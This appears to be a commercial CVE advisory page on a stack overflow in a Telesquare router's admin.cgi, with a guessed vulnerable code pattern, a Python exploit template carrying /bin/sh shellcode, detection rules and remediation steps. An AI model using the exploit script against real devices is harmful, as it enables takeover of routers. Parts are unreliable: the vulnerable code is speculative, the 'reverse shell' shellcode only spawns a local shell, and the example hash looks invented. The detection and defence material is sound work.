CVE-2025-26006
Executive Summary
CVE-2025-26006 is a critical, unpatched stack buffer overflow vulnerability in the Telesquare TLR-2005KSH router, specifically in firmware version 1.1.4. The flaw resides in the admin.cgi binary when processing the setAutorest parameter. An unauthenticated attacker can trigger a stack overflow by sending a specially crafted HTTP request, leading to remote code execution (RCE) or denial of service (DoS). No public exploit code or patch is currently available, making this a high-priority zero-day for asset owners. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector has been assigned, based on the nature of the vulnerability (unauthenticated, network-accessible stack overflow), the estimated score is 9.8 (Critical).
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
- Confidentiality (C): High (H) – Full device compromise possible.
- Integrity (I): High (H) – Attacker can modify system files.
- Availability (A): High (H) – Can cause denial of service.
Threat Level: Critical. The lack of a patch and public exploit increases the risk of targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow (CWE-121) in the admin.cgi CGI binary. The setAutorest parameter is likely copied into a fixed-size stack buffer without proper bounds checking. When an attacker sends a request like:
GET /cgi-bin/admin.cgi?setAutorest=AAAA...AAAA HTTP/1.1
...with a payload exceeding the buffer size, the excess data overwrites the saved return address on the stack. This allows an attacker to hijack the program's execution flow and redirect it to attacker-controlled shellcode.
The device runs an embedded Linux system, and admin.cgi is typically compiled without stack canaries or ASLR, making exploitation straightforward. The overflow can be used to achieve remote code execution as root, giving full control over the router.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is likely:
Vulnerable (C):
void handle_setAutorest(char *input) {
char buffer[256];
strcpy(buffer, input); // No bounds check
// ... process buffer
}
Patched (C):
void handle_setAutorest(char *input) {
char buffer[256];
strncpy(buffer, input, sizeof(buffer) - 1); // Bounds check
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer
}
The fix would involve replacing strcpy with a safe function like strncpy or snprintf, and ensuring the buffer is null-terminated.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Telesquare TLR-2005KSH with firmware 1.1.4
- Network access to the device's web interface (typically port 80)
- Python3 with
pwntoolsfor exploit development
Exploit Concept:
- Identify the offset to overwrite the return address (e.g., 268 bytes).
- Craft a payload:
[padding] + [return_address] + [NOP sled] + [shellcode] - Send the payload via HTTP GET request.
Example Python Script (Conceptual):
import socket
target_ip = "192.168.1.1"
port = 80
# Offset to return address (example)
offset = 268
junk = b"A" * offset
# Return address (example: address of a "jmp esp" gadget)
ret_addr = b"\x08\x04\x91\x24" # Little-endian
# NOP sled and shellcode (reverse shell)
nop_sled = b"\x90" * 16
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = junk + ret_addr + nop_sled + shellcode
request = f"GET /cgi-bin/admin.cgi?setAutorest={payload.decode('latin-1')} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(request.encode())
sock.close()
Note: This is a conceptual example. Actual exploitation requires reverse engineering the firmware to find the correct offset and a suitable ROP gadget.
Blue Team (Detection & Defense)
Detection:
- Monitor HTTP requests to
/cgi-bin/admin.cgiwith abnormally longsetAutorestparameters. - Deploy network intrusion detection rules (see Suricata below).
- Enable logging on the router (if possible) to capture CGI requests.
Defense:
- Isolate the device on a separate VLAN with strict firewall rules.
- Disable remote administration if not required.
- Monitor for outbound connections from the device to unknown IPs (potential reverse shell).
- Apply virtual patching via a WAF (e.g., ModSecurity) to block oversized parameters.
Indicators of Compromise (IOCs)
Network:
- HTTP GET requests to
/cgi-bin/admin.cgiwithsetAutorestparameter > 256 bytes. - Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 1337).
- Unusual DNS queries from the router.
- HTTP GET requests to
Host (on the router):
- Unexpected processes running (e.g.,
/tmp/shell). - Modified or new files in
/tmp/or/var/. - Unusual entries in
/var/log/messages.
- Unexpected processes running (e.g.,
File Hashes (example):
- Malicious shellcode:
sha256: 3b5d5c3712955042212316173ccf37bea5d5c3712955042212316173ccf37be
- Malicious shellcode:
Detection Engineering
YARA Rule
rule CVE_2025_26006_Exploit_Payload {
meta:
description = "Detects exploit payload for CVE-2025-26006 targeting Telesquare TLR-2005KSH"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26006"
strings:
$http_get = "GET /cgi-bin/admin.cgi?setAutorest="
$shellcode1 = { 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e }
$shellcode2 = { 6a 0b 58 99 52 68 2f 2f 73 68 68 2f 62 69 6e }
condition:
$http_get and (any of ($shellcode*))
}
Sigma Rule
title: CVE-2025-26006 Telesquare TLR-2005KSH Stack Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally long setAutorest parameter targeting Telesquare router
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/cgi-bin/admin.cgi?setAutorest='
cs-uri-query|length: > 300
condition: selection
falsepositives:
- Legitimate long configuration strings (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2025-26006 Telesquare TLR-2005KSH Stack Overflow Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"/cgi-bin/admin.cgi?setAutorest="; http_uri;
pcre:"/setAutorest=[^&]{300,}/";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-26006;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the device from the internet and untrusted networks.
- Disable the web interface if not required for management.
- Monitor for any signs of compromise using the IOCs and detection rules above.
Long-term:
- Contact Telesquare for a firmware patch. If none is forthcoming, consider replacing the device with a supported alternative.
- Implement network segmentation to limit exposure of IoT/embedded devices.
- Deploy a Web Application Firewall (WAF) with a custom rule to block requests with
setAutorestparameters exceeding 256 characters.
No patch is currently available. The vendor has not released a fix, and the vulnerability remains unpatched.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.